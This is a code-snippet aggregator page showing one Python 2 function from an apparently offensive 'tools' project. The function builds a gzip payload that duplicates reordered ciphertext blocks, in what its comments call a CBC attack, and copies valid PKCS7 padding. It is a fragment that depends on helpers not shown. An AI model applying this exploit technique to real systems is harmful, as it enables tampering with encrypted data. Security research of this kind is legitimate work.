sap-thatsnotwhatisaid.py 文件源码

python
阅读 24 收藏 0 点赞 0 评论 0

项目:tools 作者: pwnaccelerator 项目源码 文件源码
def gzip_encode_add_padding(content):
    "* Compressing content..."
    num_chunks = len(content) / CHUNK_SIZE # let's not care about remainders
    gzip_compress = zlib.compressobj(9, zlib.DEFLATED, zlib.MAX_WBITS | 16)
    data = gzip_compress.compress(content)
    comp_cnt = 0
    replay = reorder(content[0:num_chunks*CHUNK_SIZE], arg_blocks)
    assert(len(replay) % CHUNK_SIZE == 0)
    num_chunks = len(replay) / CHUNK_SIZE # update the blocks
    print "** Duplicating content (CBC attack)..."
    data += gzip_compress.compress(replay) # duplicate cipher, should result in duplicate plaintext (prefixed by some garbage)
    while comp_cnt < WRAP_SIZE-(num_chunks*CHUNK_SIZE+10*CHUNK_SIZE):
        data += gzip_compress.compress("A"*CHUNK_SIZE)
        comp_cnt += CHUNK_SIZE
    print "** Copy original padding..."
    data += gzip_compress.compress(content[len(content) - 10*CHUNK_SIZE:len(content)]) # copy valid PKCS7 padding
    data = data + gzip_compress.flush()
    print "*** Finished"
    return data
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号